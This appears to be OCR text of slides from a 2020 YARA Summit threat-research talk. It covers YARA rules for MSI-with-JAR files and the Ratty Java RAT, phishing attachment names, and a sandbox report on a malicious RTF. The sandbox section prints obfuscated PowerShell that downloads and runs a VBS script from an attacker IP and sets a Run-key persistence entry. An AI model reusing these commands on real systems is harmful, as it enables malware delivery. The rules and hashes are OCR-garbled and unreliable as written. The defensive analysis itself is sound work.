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rule DESKTOP_MSI_containing_JAR
{

meta:
author = "Tom Ueltschi @c_APT_ure”
date = "2020/06"
tlp = "green”
sample_md5 = "85eb931d0d27179ae7c13085fb050b11"
sample_sha256 = "c7832c86a68c23b5cdf74cd52e1a382d15bf822cbh00653b3c8c3f9a9831687d8"

strings:
$msi_header = { dO cf 11 e0 al bl 1la el }
$msi_strl "Installation Database"
$msi_str2 "Microsoft silverlight CTP"
$msi_str3 = "Microsoft Corporation”
$msi_str4 "Installer”
$msi_str5 "Silverlight is a registered trademark of Microsoft Corporation.”
$msi_stré "windows Installer xML"
$jar_mf "META-INF/MANIFEST.MF"
$jar_cls ".class"

condition:
$msi_header at 0 and 3 of ($msi_str®) and
$jar_mf and $jar_cls
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rule DESKTOP_MSI_containing_JAR

meta:

author = "Tom Ueltschi @c_APT_ure"
date = "2020/06"
tlp = "green”

sample_md5

"85eb931d0d27179ae7c13085fb050

sample_sha256 = "c7832c86a68c23b5cdf74cd52¢e

strings:
$msi_header
fmsi_strl =
tmsi_str2 =
$msi_str3
tmsi_str4
fmsi_strS
tmsi_stré
$jar_mf
$jar_cls

condition:
$msi_header
$jar_mf and

= { d0 cf 11 e0 al bl 1a el }
"Installation Database"
"Microsoft Si1ver1ight cTP"
"Microsoft Corporation”
"Installer”

"Silverlight is a registered tn
"windows Installer XxML"
"META-INF/MANIFEST.MF"

".class"

at 0 and 3 of ($msi_str®) and
$jar_cls

date = "2028-26-14"

"nttps://twitter.com/Securityinbits/status/1271496138588708866"

"Detect jar appended to MSI"

o

hash_1l = "13a4872d8d@eba59712bb4ec251e@593"
hash_2 = "63bed48e369b76379b47818ba%12ee43"
hash_3 = "85eb931d@d27179ze7¢13885fbB50b11"

strings:
$msi_magic = { D@ CF 11 E@ Al Bl 1A E1}
T etect zip Local file header(lf
$s_zip_magic_1fh = {58 4B 83 04
€s_zip_magic_eocd = {50 4B 05 06]
€s_jar = "META-INF/MANIFEST.MF"
$s_java_class = ".class"
conditicn:
$msi_magic at @ and filesize > 28@KB anc
0 gue YARA e O e P-GR

m
h
0
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irule Java_RAT_Ratty

1{

‘ meta:
author = "Tom Ueltschi @c_APT_ure"
date = "2020/06"
tlp = "green”

strings:
$jar_header = "pPK"
$mf = "META-INF/MANIFEST.MF" rule Java_RAT_Ratty_no_JAR
$strl "de/sogomn/rat;, Rattyc11e {
§str2 "de/sogomn/rat/ gu1 'IRAtT meta: . . .
$str3 "de/sogomn/rat/IConnecti author = Tom Ueltschi @c_APT_ure
$str4 "de/sogomn/rat/Activecon date = "2020/06"
§str5 = "de/sogomn/rat/service/I| tlp = "green

condition: strings:
$jar_header at 0 and $mf and $mf = "META-INF/MANIFEST.MF"
2 of ($str¥) $stri “de/sogomn rat/RattyC11ent class”
$str2 "de/sogomn/rat/qui/IRattyGuiFactory.class”
$str3 "de/sogomn/rat/IConnectionobserver.class”
§str4 "de/sogomn/rat/ActiveConnection.class”
§strs "de/sogomn/rat/service/IOperatingSystemservice.class”

$jar_header at 0 and condition:

2 of (§str¥)
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1c3aff7es8hk
MSI containing JAR
Java RAT Ratty no JZ

83aabaBa3cd8714
MSI contain

i
Java_RAT_Rat

leb30fecSaS8dcT7acartf2
MSI containing JAR []
Java RAT Ratty no JAR

-

2040—06—ll_lé/ups—label.jar
4 /ups-label.jar
_14/ups-label.jar
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f3ea2%cad35eec33ead436t
MSI containing JAR []
Java RAT Ratty no JAR

21c3
MSI _containin
Java RAT Ratt

aba8a3cds
_containing JAR
va_RAT_Ratty_nu_“

A

0559defe2122020a2733
MSI containing JAR
Java RAT unknownl

[l I
oo

|

o

O

’4:

~

wm '
=

vyt

MSI containing JAR
Java RAT unknownl

[}
[}
|
[}
fart

[N SN
~
-
]

(9]
o

ot
N K
~
]
o

MSI containing JAR []
Java RAT Ratty no JAR

[

4a2d5424f87dld4cdcd8abea8ld2ec
2020

Spear Phishing emails & mail headers
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(53]

2020-06-11 6/CONFIRMATICN SWIFT.pdf.jar
6/CONFIRMATION SWIFT.pdf.jar

1c—ll_é/CONFIRMATION_SWIFT.pdf.ja:

0€é-11 7/New.Shipment.Deliv
/Ncw Shipm
_7/New.Sh

ent.Delivery.jar
ipment.Delivery.jar

-11 S/OPERATION A CONFIRMER.jar

6
ATION A CONFIRMER.jar
_B8/OPERATICN A CONFIRMER.jar

hipment.delive
livery.label.
.delivery.labe

Reversing 2020 - YARA Summit | Pushing the Barriers of Unique YARA Uses | Tom Ueltschi | TLP-GREEN




“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: MSI + JAR

‘ TomU #HomeOffice #SocialDistancing #StaySafe @c_AF

#malware challenge
Do you see any traffic to: central.ghub.qua[.Jone ?

What is this sample?
bazaar.abuse.ch/sample/e65a03d...

Any more malware followups / downloads?

(2) (Q) (¢

#MalwareChallenge
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ll\. TomU #HomeOffice #SocialDistancing

TomU #HomeOffice #SocialDistancing #StaySafe @c_
My take:

- JAR drops NodelJS and a CMD

- creates persistence (RUN key to CMD)

- CMD runs node.exe at startup

There's no (real) #Malware there yet.

‘ TomU Would it get pulled from central.ghub.qual.]Jone later at some point?

#malware M ahararal

hallenge continued

Do you see any traffic to: central.ghub.qual.]

What is this sample?
bazaar.abuse.ch/sample/e65a03d...

Any more malware followups / downloads?

#MalwareChallenge
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@ blog.trendmicro.com/trendlabs-security-intelligence/qnodeservice-node-js-trojan-spread-via-covid-19-lure/

g #StaySafe @c_APT

. SECURITY
(@) TREND |NTELL|GE§°§E Blog

SECURITY NEWS DIRECT FROM THREAT DEFENSE EXPERTS

V ‘;-’_: | Home | Categories ’

Home » Malware nual.Jone later at some point?

QNodeService: Node.js Trojan Spread via Covid-19 Lure

Posted on: May 14, 2020 at 10:29 am Posted in: Malware Author: Trend Micro

O:= OO0
By Matthew Stewart

We recently noticed a Twitter post by MalwareHunterTeam that
showed a Java downloader with a low detection rate. Its name
Company PLP_Tax relief due to Covid-19 outbreak CI+PL.jar
suggests it may have been used in a Covid-19-themed phishing

campaign. Running this file led to the download of a new

undetected malware sample written in Node._js; this trojan is

dubbed as “QNodeService
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@ blog.trendmicro.com/trendlabs-sect -intelligence/qnodeservice-node-js-trojan-spread-via-covid-19-lure,

, TomU #
[ [P— %SFCU

INTEL

SECURITY NEY

e '.-‘:‘ Thanks @malwrhunterteam, we finally got a name for

this "QHub premium service"

Home Malware

(and soon there will be many more names for the same
QNodeService: Node.js Troj| =)

Posted on: May 14, 2020 at 10:29 am Posted i
O:= OO0 And thanks @TrendMicroRSRCH for the blog!
By Matthew Stewart #QNodeService

We recently noticed a Twitter post by Malwa - ‘
showed a Java downloader with a low detet ¢ MalwareHunterTeam @malwrhunterteam

Company P L:’_ ax relief due to Covid-19 As long time followers know, TM is “not one of our favourite vendors”...
suggests it may have been used in a Covid- But when they do a good work & also give credits, they deserve a link to their
ampaign. Running this file led to the downl article: blog.trendmicro.com/trendlabs-secu...
ample written in Nodg Good work, @TrendMicroRSRCH.
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Outline

* Introduction
* Automate malware analysis (how far can you go?)

* Using YARA on “uncommon” or “unusual” file types
- PCAP files

- memory-strings & mutexes
- JAR’s (Java RAT’s)

> “DESKTOP-group” -- Spear Phishing emails & mail headers
- YARA for email headers and body
- Weird file formats: MSI + JAR | | RTF + XLS
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Analysis ReportifCompliance Questionnaire UPU POST TRASNFERT.rtf

Overview

General Information Detection Signatures

Sample Name Compliance Questionnaire_UPU POST - -
TRASNFERT. rtf [ Initial sample is an obfuscated RTF file

MD5 fddadb2493c1e188e1f10 (] Bypasses PowerShell execution policy
SHA1 49f9177dd16bdb916b8c0... [
SHA256 167aafdfaa049772e83d8.. MALICIOUS

Most interesting Screenshot

Command shell drops VBS files

Creates autostart registry keys with suspicious value...

SUSPICIOUS Creates processes via WMI

Sigma detected: Microsoft Office Product Spawning ...

CLEAN Abnormal high CPU Usage

UNRNOIN

Creates a process in suspended mode (likely to injec...

Enables debug privileges

Found WSH timer: for. Javascript or: VBS script (likely ..

Found a high number. of Window / User specific syst...

Score:

Range HITP GET or, POST without a user; agent

Whitelisted: May sleep (evasive loops) to hinder; dynamic analysis

Confidence
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Screenshots

Thumbnails
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E] Compliance Questionnaire_UPU POST TRASNFERT [Compatibility Mode] - Word

File Window

m Compliance Questionnaire_UPU POST TRASNFERT [Compatibility Mode] - Word > ay v

File Window
Home Insert Page Layout Formulas Data Review
Page Layout Formulas Data Review View Help Q Tel

Calibri AT = ; 2% Wrap Text General e =

R ~
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System is w10x64_office

WORD.EXE (PID: 5700 cmdline: 'C:\Program Files (x86)Microsoft Office\Root\Office 16\WINWORD.EXE' /Automation -Embedding MD5: EFDE23ECDF60D334C31AF2A041439360) [
CEL.EXE (PID: 3240 cmdline: 'C:\Program Files (x86)\Microsoft Office\Root\Office 16\EXCEL.EXE' -Embedding MD5: D672D26C85AEB9536B9736BF04054969) [

(PID: 3288 cmdline: C:\Windows\system32\conhost exe 0xffffiff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) [

(PID: 3672 cmdline: 'C:\Windows\System32\WScript.exe' 'C-\Users\user\AppData\Roaming\wscript.vbs' MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC) ()

p exe (PID: 5732 cmdline: Powershell.exe -w h $asciiChars="27%28%26%27%2B%27%28%47%27%2B%27%43%27%2B %27 %5E %23%5E %27 %2E%72%65%70%6 C%61%6 3%65%28 %27 %5E %23%5E %27 %2C %27 %4D %27 %29%2B %27 %20%2A%5
7%2D%27%2B%27%4F%2A%29%27%2B%20%27%4E%65%27%2B%27 % 74%2E %27 %2B%27%57%27%2B %27 %65%62%27%2B%27%43%27%2B%27%6C%69%27 %2B %27 %65%6E % 74%29%27%2B %27 %2E %44%27%2B %27 %6F %17%27%2B %27 %6 E%6C%27 %2
B%27%6F %61%27%2B%27%64%27 %28 %27 %46%27%2B %27 %69%6 C%27%2B %27 %65%28 %27 %27 %68 %7 4%174%70%3A%2F %2F %31%38%35%2E %31%37 %37 %2E%35%39%2E %31%38%34%2F %79%6A%7 1%66%2F %77 %73%63%72%69%70%74%2E %76 %6
2%73%27%27%2C%24%65%6E %76%3A%41%50%50%44%41%54%41%2B%27%27%5C%71%73%63%72%69%70%74%2E%16%62%7 3%27 %27%29%27 %7 C%49%60%45%60%58%3B%73%74%61%72%74%2D %7 0%72%6F %63%65%73%7 3%28 %24%65%6E %7
6%3A%41%50%50%44%41%54%41%28%20%27%50%77%73%63%72%69%70%74%2E%76%62%73%27%29"5_im=$asciiChars.SpIit:'%'J forEach {[char]([convert]:toint16(S_,16))}:$jm -join "|I'E"X MD5: 95000560239032BC68B4C2FDFCDEF913) [

> (PID: 3700 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) [4)
wscript.exe (PID: 5820 cmdline: 'C \'u"‘."indo*..s.S',stem32\'-/\.~'Script exe' 'C:\Users\user\AppData\Roaming\wscript.vbs' MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC) [
XCEL EXE (PID: 2128 cmdline: ‘C:\Program Files (x86)\Microsoft Office\Root\Office 16\EXCEL EXE' -Embedding MD5: D672D26C85AEB9536B9736BF04054969) [
[§ 5520 cmdline: Powershell.exe -w h $asciiChars="27%28%26%27%2B %27 %28%A47 %27 %2B%27%43%27%2B%27 %5E%23%5E %27 %2E%12%65%70%6C%61%63%65%28 %27 %5E %23%5E %27 %2C %27 %4D %27 %29%2B %27 %20%2A%5

6%3A%41%50%50%44%41%54
. conhost.exe (
« @ wscriptexe (PID: 1396 cmd )
: CEL.EXE (PID: 4280 cmdline n Files (x86)\Microsoft Office\Root\Office 16\EXCEL.EXE' -Embeddmg MD5: D672D26C85AEBI536B9736BF04054969) [
p rshell.exe (PID: 996 cmdline: P xecutionPolicy Bypass $c145=-Join ((111, 105, 130)| ForEach-Object {( [Convert]::Tolnt16(([String]$_ ). 8) -As[Char])});sal oE2 $c145;3mTmPXYJEhxfewHViHevq="24 54 62 6F 6E 65 3D 27 2A 45 58 27 2E 72 65 70 6C 61
63 6528 27 2A 27 2C 27 49 27 29 3B B 64 6F 20 7B 24 70 69 6E 67 20 3D 20 74 65 73 74 2D 63 6F 6E 6E 65 63 74 69 6F 6E 20 2D 63 6F 6D 70 20 67 6F 6F 67 6C 65 2E 63 6F 6D 20 2D 63 6F 756E 7420 31202D 51756965747
D 20 75 6E 74 69 6C 20 28 24 7 EXCEL EXE 6D 5D 3A 3A 54 6F 4F 626A 6563 74285B53797374656D 2E4E65742E 536563757269 74795072 6F 7T46F 63 6F 6C547970655D2C2033303732293B5B53797374
65 6D 2E 4E 65 74 2E 53 § x A3A536563757269747950726F 74 6F 63 6F 6C 203D 20247032323B246D 763D 27282627 2B272847272B2743272B27242424272E7265706C 6163652827
24242427 2C 27 4D 27 D7 2B 27 74 2E 27 2B 27 57 27 2B 27 65 62 27 2B 27 43 27 2B 27 6C 69 27 2B 27 65 6E 74 29 27 2B 27 2E 44 27 2B 27 6F 77 27 2B 27 6E 6C 27 2B 27 6F 61 27 2B 27 64 27 2B 27 53
272827747227 2B 27 69 7 x PS cmd (1) 72E35392E3138342F 796A 7166 2F 6D 69 63 72 6F 73 6F 66 74 6E 6574 66 7261 6D 65 77 6F 72 6B 34 38 32 30 31 39 30 34 31 38 2E 6A 70 67 27 27 29 27 7C 49 60 45 60 58
3B2461736369694368617 2D 2720 7C 46 6F 72456163 68 2D 4F 62 6A 6563 7420 7B 5B 6368 61 725D 5B 62 79 74 655D 22 30 78 24 5F 22 7D 3B 24 6173 63 6969 53 74 72 69 6E 67 3D 20 24 6173 63 69 69
436861727320 2D 6A 6F 69 6E 20 27 27 /C™ YJEhxfewHViHevq Split( ') | forEach {[char]([convert]::toint16($_,16))};:$jm -join "|o"E"2 MD5: 95000560239032BC68B4C2FDFCDEF913) ()
« Bl conhostexe (PID: 744 cmdline: C:\Windows\system32\conhost exe 0xfffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) [
. (PID: 5540 cmdline: Powershell Set-ltem -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value 'C:\Users\user\AppData\Local\Microsoftwscript.vbs' MD5: $5000560239032BC68B4C2FDFCDEF913) m
> (PID: 5620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) D
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: RTF + XLS

System is w10x64_office

WORD.EXE (PID: 5700 cmdline: 'C:\Program Files (x86)Microsoft Office\Root\Office 16\WINWORD.EXE’ /Automation -Embedding MD5: EFDE23ECDF60D334C31AF2A041439360) [4)
XCEL EXE (PID: 3240 cmdline: 'C:\Program Files (x86)\Microsoft Office\Root\Office 16\EXCEL.EXE' -Embedding MD5: D672D26C35AEB9536B9736BF04054969) [
oxe (PID: 3288 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) [
, wscript.exe (PID: 3672 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Roaming\wscript vbs' MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC) [
BN powershell.exe (PID: 5732 cmdline: Powershell.exe -w h $asciiChars="27%28%26%27%2B%27%28%47%27%2B%27%43%27%2B%27%5E%23%5E %27 %2E%72%65%70%6C%61%63%65%28%27 %5E %23%5E %27 %2C %27 %4D %27 %29%2B%27%20%2A%5
7%2D%27%2B%27%4F%2A%29%27%2B%20%27%4E%65%27 %28 %27 % T4%2E %27 %2B%2T7%57%27%2B %27 %65%62%27 % 2B%27%43%27%2B %27 %6C%69%27 %2B %27 %65 %6 E % 74%29%27 %2B %27 %2E %44%27%2B %27 %6F % 77%27%2B %27 %6E%6C%27%2
B%27%6F %61%27%2B%27%64%27%2B%27%46%27%2B%27%69%6 C%27%2B%27%65%28%27 %27 %68%74%74%70%3A%2F %2F %31%38%35%2E%31%37%37 %2E %35%39%2E %31%38%34%2F % 79%6A%71%66%2F %77%73%63%72%69%70%74%2E %76 %6
2%73%27%27%2C%24%65%6E%76%3A%41%50%50%44%41%54%41%2B%27%27%5C %77 %7 3%63%72%69%70%74%2E %76 %62%73%27 %27 %29%27 %7 C%49%60%45%60%58%3B% 73%T74%61%72%74%2D %7 0%7 2%6F %63%65%7 3%7 3%28%24 %65 %6E %7
6%3A%41%50%50%44%41%54%41%28%20%27%5C% T 7%73%63%72%69%70%74%2E%76%62%73%27%29";Sjm=SasciiChars.Split('%’) | forEach {[char]([convert]:toint16(S_, 16))};Sjm -join "|I'E"X MD5: 95000560239032BC68B4C2FDFCDEF913) [
. conhost.exe (PID: 3700 cmdline: C:\Windows\system32\conhost exe 0xfffffiff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) [
. ﬁ wscript.exe (PID: 5820 cmdline: 'C:\Windows\System32\WScript.exe' 'C-\Users\user\AppData\Roaming\wscript.vbs' MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC) [

7%65%62%27%2B%27%43%27%2B%27%6C%69%27%2B %27 %65%6E % 74%29%27 %28 %27 %2E %44%27%2B %27 %6F %77%27%2B %27 %6E%6C%27%2
%74%70%3A%2F %2F %31%38%35%2E%31%37%37%2E%35%39%2E%31%38%34%2F %79%6A%71%66%2F %77%73%63%72%69%70%74%2E %76 %6
%70%74%2E%T76%62%73%27%27%29%27%7 C%49%60%45%60%58%3B%73%74%61%72%74%2D%70%72%6F %63%65%73%73%28%24%65%6E %7
729" 5im=$asciiChars.Split('%’) | forEach {[char]([convert]:toint16(5_, 16))}:$jm -join "|I'E"X MD5: 95000560239032BC68B4C2FDFCDEF913) [
« @l conhostexe (PID: 5084 cmdline: C: Vg ATTTDEEATS82ESB4D7C7C33BBF8A4496) [
« . wscriptexe (PID: 1396 cmdline: 'C:\\i4 Pretem32\WScript.exe' 'C:\Users\user\AppData\Roaming\wscript vbs' MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC) [
! EXCEL.EXE (PID: 4280 cmdlineg #oram Files (x86)\Microsoft Office\Root\Office16\EXCEL. EXE' -Embedding MD5: D672D26C85AEB9536B9736BF04054969) ()
powershell.exe (PID: 996 cmdline: Powershell -ExecutionPolicy Bypass $c145=-Join ((111, 105, 130)| ForEach-Object {( [Convert]:: ToInt16(([String]$_ ), 8) -As[Char])});sal 0E2 $c145;3mTmPXY JEhxfewHViHevq="24 54 62 6F 6E 65 3D 27 2A 45 58 27 2E 72 65 70 6C 61
63 6528 27 2A 27 2C 27 49 27 29 3B 73 61 6C 20 4D 20 24 54 62 6F 6E 65 3B 64 6F 20 7B 24 70 69 6E 67 20 3D 20 74 65 73 74 2D 63 6F 6E 6E 65 63 74 69 6F 6E 20 2D 63 6F 6D 70 20 67 6F 6F 67 6C 65 2E 63 6F 6D 20 2D 63 6F 75 6E 74 20 31202D 5175696574 7
D 20 75 6E 74 69 6C 20 28 24 70 69 6E 67 29 3B 24 70 32 32 20 3D 20 5B 45 6E 75 6D 5D 3A 3A 54 6F 4F 62 6A 65 63 74 28 5B 53 79 73 74 65 6D 2E 4E 65 74 2E 53 65 63 7572 69 74 79 50 72 6F 74 6F 63 6F 6C 54 79 70 65 5D 2C 20 3330 37 32293B5B 53797374
65 6D 2E 4E 65 74 2E 53 65 72 76 69 63 65 50 6F 69 6E 74 4D 61 6E 61 67 65 72 5D 3A 3A 53 6563 7572 69 74 79 50 72 6F 74 6F 63 6F 6C 20 3D 20 24 70 32 32 3B 24 6D 76 3D 27 28 26 27 2B 27 28 47 27 2B 27 4327 2B 27 2424 24 27 2E 72 65 70 6C 61 63 65 28 27
242424 27 2C 27 4D 27 29 2B 27 20 2A 57 2D 27 2B 27 4F 2A 29 27 2B 20 27 4E 65 27 2B 27 74 2E 27 2B 27 57 27 2B 27 65 62 27 2B 27 43 27 2B 27 6C 69 27 2B 27 65 6E 74 29 27 2B 27 2E 44 27 2B 27 6F 77 27 2B 27 6E 6C 27 2B 27 6F 61 27 2B 27 64 27 2B 27 53
27 2B 27 7472 27 2B 27 69 6E 67 28 27 27 68 74 74 70 3A 2F 2F 31 38 35 2E 31 37 37 2E 35 39 2E 31 38 34 2F 79 6A 71 66 2F 6D 69 63 72 6F 73 6F 66 74 6E 65 74 66 72 61 6D 65 77 6F 72 6B 34 38 32 30 31 39 30 34 31 38 2E 6A 70 67 27 27 29 27 7C 49 60 45 60 58
3B24617363696943686172733D20246D76202D 73706C 69742027 2D 2720 7C 46 6F 72 456163 68 2D 4F 62 6A 65 63 74 20 7B 5B 63 68 61 72 5D 5B 62 79 74 65 5D 22 30 78 24 5F 22 7D 3B 24 61 73 63 69 69 53 74 72 69 6E 67 3D 20 24 61 73 63 69 69
4368 61 72 73 20 2D 6A 6F 69 6E 20 27 27 7C 4D":$jm=SmTmPXYJEhxfewHViHevq.Split(" ') | forEach {[char]([convert]: toint16(5_,16))}:5jm -join "|o’E’2 MD5: 95000560239032BC68B4C2FDFCDEF913) [
. conhost.exe (PID: 744 cmdline: C:\Windows\system32\conhost.exe Oxfffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) [
/ exe (PID: 5540 cmdline: Powershell Set-ltem -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value 'C:\Users\user\AppDatal\Local\Microsoftiwscript vbs' MD5: 95000560239032BC68B4C2FDFCDEF913) [
conhost.exe (PID: 5620 cmdline: C:\Windows\system32\conhost.exe Oxfffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) [
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'INWORD.EXE (PID: 5700 cny

CEL EXE (PID: 3240 cmdlirgy-

= System is w10x64_office

conhost.exe (PID: 3288 cnf|" &

(PID: 3672 cm
ell.exe (PID: 5732 cm
7%2D%27%2B%27%4F%2A%29%

B%27%6F %61%27%2B%27%64 %4

2%73%27%27%2C%24%65%6E%]

6%3A%41%50%50%44%41%54 % 4™

. conhost.exe (PID: 3700 cn

« @ wscriptexe (PID: 5820 cm| *

& EXCEL.EXE (PID: 2128 cmdlin}
BY powershell.exe (PID: 5520 cm
T92D%27%2B%27%A4F %2A%29%
B%27%6F%61%27%2B%27%64%

2%73%27%27%2C%24%65%6E%] *
6%3A%41%50%50%44%41%54%4 |

« [l conhostexe (PID: 5084 cn
+ @ wscriptexe (PID: 1396 cm

XCEL.EXE (PID: 4280 cmdiir} *
shell.exe (PID: 996 cmdlf ~

63 6528 27 2A272C 27 4927 29 3
D 20 75 6E 74 69 6C 20 28 24 70 6
656D 2E 4E 65 74 2E 53 65 72 76 {

242424272C274D27292B273 -

272B277472272B27696E67 7 - £

3B246173636969436861727
4368 617273 20 2D 6A 6F 69 6E 2
. conhost.exe (PID: 744 cm
powersh e (PID: 5540 cm

xe (PID: 5620 cnff - £

Reversing 2020 - YARA Summit |

9 6E 2027 27 7C 4D

IB%5E%27%2C %27 %4D %27 %29%2B%27%20%2A%5
2E%44%27%2B %27 %6F % 77%27%2B%27 %6E%6C%27%2

A%T71%66%2F%77%73%63%72%69%70%74%2E%T76%6
1%2D%70%72%6F %63%65%73%73%28%24%65%6E %7
60239032BC68B4C2FDFCDEF913) ()

BY%SE%27%2C%27%4D%27%29%2B%27%20%2A%5
2E%44%27%2B %27 %6F % 77%27%2B%27%6E%6C%27%2
A%T71%66%2F%77%73%63%72%69%70%74%2E%T76%6
B %2D%70%72%6F %63%65%73%73%28%24%65%6E %7
60239032BC68B4C2FDFCDEF913) [

='24 54 62 6F 6E 65 3D 27 2A 45 58 27 2E 72 65 70 6C 61
B 6F 6D 20 2D 63 6F 756E742031202D 51756965747
pC 547970 655D 2C 20333037 32293B5B53797374
274327 2B27242424272E726570 6C 6163 65 28 27
27 2B 27 6E 6C 27 2B 27 6F 61 27 2B 27 64 27 2B 27 53

9 30 34 31 38 2E 6A 70 67 27 27 29 27 7C 49 60 45 60 58
6173 63 696953747269 6E 67 3D 20 246173 63 69 69

4C2FDFCDEF913) [
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: RTF + XLS

o BY¥ powershell.exe (PID: 5732 cmdline: Powershell.exe -w h $asciiChars= 27%28%26%27%28%27%28%47%27%28%27%43%27%28%27%5E%23%5E%27%2E%72%65%70%60%61%63%65%28%27%5E%23%5E%27%2C%27%4D%27%29%28%27%20%2A%5
71%2D%27%2B%27%A4F%2A%29%27%2B%20%27%4E%65%27%2B%27 % 14%2E %27 %2B%27 %57 %27 %2B %27 %6!
B%27%6F %61%27%2B%27%64%27%2B%27%46%27%2B%27%69%6C%27%2B%27 %65%28%27 %27 %68%74%74
2%73%27%27%2C%24%65%6E%76%3A%41%50%50%44%41%54%41%2B%27%27%5C%T7%13%63%72%69%70'
6%3A%41%50%50%44%41%54%41%2B%20%27%5C%77%73%63%72%69%70%74%2E%76%62%73%27%29'5im:

. con xe (PID: 3700 cmdline: C:\Windo stem32\conhost. exe 0xffffffff -ForceV1 MD5: EAT77DEEAT7S2E

e (PID: 5820 cmdiine: 'C:\Windows\System32\WScript wseript. 27%28%26%27%2B%27%28%A47%27%2B%27%43%27%2B%27%5E%23%SEX2T%2EXT 2%
61%63%65%28%27%5E%23%5E%27%2C%27%AD%27%29%2B%27%20%2A%57%2D%27%
2A%29%27%2B%20%2 THAEHE5%2 7% 2B%2T%T A%2E%27%2B%27%5T%2T%2B%2T%
T%A3%27%2B%27%6C%60%27%2B% 27 %65 HOE%TA%29%27%2B%2T%2EXA4%27%2B%27%
27%2B%27%6E%6C%2T%2BH2THEFH ‘-"2 %2B%27%64%27%2B%27%46%27%2B%27%60%6C%2T%
2BY%27%65%28%27%27%68%74%74%7 1%38%35%2E%31%37%37%2E%35%39%2EX
31%38%34%2F %79%6A%T 1%66%2F%77%7 éLJ;ﬂznnn°ﬂn%74>2E;,na 2%73%27%27%2C%24%
65%6E%76%3A%A1%50%50%A44%A1%54%A41%2B%27%27%5C%77%7 3%63% 2;%0" %74%2E%7 6%
62%73%27%27%29%27%7 CHA0%60%A5%60%5 8%3B%7 3%74%61%7 2%74%2D%70%7
— 1357 22 8% 2 A6 5L BE%T 64NN %SO OUAANAT %S A% %IBD O I THECHT T
70%74%2E%T6%62%73%27%29

127%2
lensth: 743 6%6
InPUt cr‘ . figmg Y4

Recipe

Find / Replace

{"

Space

Find / Replace

Output

"(&(GC #™ " Lreplace("#N, M) l )
"Net.WebClient).DownloadFile(" http://185.177.59.184/yjqf/wscript.vbs ',
$env:APPDATA+" "\wscript.vbs'')'|I E X;start-process($env:APPDATA

"\wscript.vbs')

Reversing 2020 - YARA Summit | Pushing the Barriers of Unique YARA Uses | Tom Ueltschi | TLP-GREEN




“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: RTF + XLS

o BY¥ powershell.exe (PID: 5732 cmdline: Powershell.exe -w h $asciiChars= 27%28%26%27%28%27%28%47%27%28%27%43%27%28%27%5E%23%5E%27%2E%72%65%70%60%61%63%65%28%27%5E%23%5E%27%2C%27%4D%27%29%28%27%20%2A%5

7%2D%27%2B%27 %4F %2A%29%27%2B%20%27%A4E%65%27%2B%27 % 14%2E %27 %2B %27 %57 %27%2B %27 %6! — 127%2

B%27%6F %61%27%2B%27%64%27%2B%27%46%27%2B%27%69%6C%27%2B%27 %65%28%27 %27 %68%74%74 otk T4 5%6
th: ;
2%73%27%27%2C%24%65%6E%76%3A%41%50%50%44%41%54%41%2B %27 %27%5C%77%73%63%72%69%70' In put gyl = %7

6%3A%41%50%50%44%41%54%41%2B%20%27%5C%77%73%63%72%69%70%74%2E%76%62%73%27%29'5im: LTS .
. conh xe (PID: 3700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EAT77DEEAT782E
. e (PID: 5820 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Roaming\wscript 27%28%26%27%2B%27%28%47%27%2B%27%A3%27%2B%27%5E%23%5E%27%2E%72%65%70%6C%

61%63%65%28%27%5E%23%5E%27%2C%27%4D%27%29%2B%27%20%2A%577%2D%27%2B%2 7 %A F i
2A%29%277%2B%20%2THAEKE5%27%2B%277%7 4%2E%277%2B%27%57%27%2B%277%65%62%27%2B%
27%A3%27%2B%27%6CH%69%27%2B%27%65%6E%747%297%27%2B%27%2E%A447%27%2B%27

277%2B%27%6E%6CH277 28“: 77%6F%61%27%2B%27%647%27%2B%27%467%27%2B%27%69%6C%27%
2B%277%65%28%27%27 670%3A%2F2F7%31%38%35%2E%31%37%37%2E%35%39%2E%

= 31%38%34%2F%79%6A 566 32::.'3'377 %7 37%637%7 27%69%70%TA%2E%T 67%62%7 3%27%277%2CHh24%

Recipe

Find / Replace
.p\ e By 17
cOF// //0

68%
71%

AFNY, M)+ W-0*) "+ 65%6E%T76%3A%A1%50%50%44%A41%54%41%2B%27%27%5C%77%7 3%63%72%69%70%74%2 E%7 6%
7C%

%27
%28%
4%2E

%29%27 40%60%457%60%58%3B% 7 3% 7A%01%7 2%7 47%2D7%707%7 27%6F %63%65%
AB5HOEXRT6%3AKBAL%50%50%44%A1%54%A1%2B%20%277%5C%7 77%7 3%63%7 27%69%

oy o/ = 3 0f =7 50 %
76l 0h02747 35277528

%27
024

Name

Cmdle New-Okje '(&(GC # " .replace("MEN', M)+ _
'Het.hebcliert).DourloadFile{"http://185.177.59.184/yjqf/wscript.vbs",
$env:APPDATA+" "\wscript.vbs'')'|I E X;start-process($env:APPDATA

"\wscript.vbs')

M Glot
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: RTF + XLS

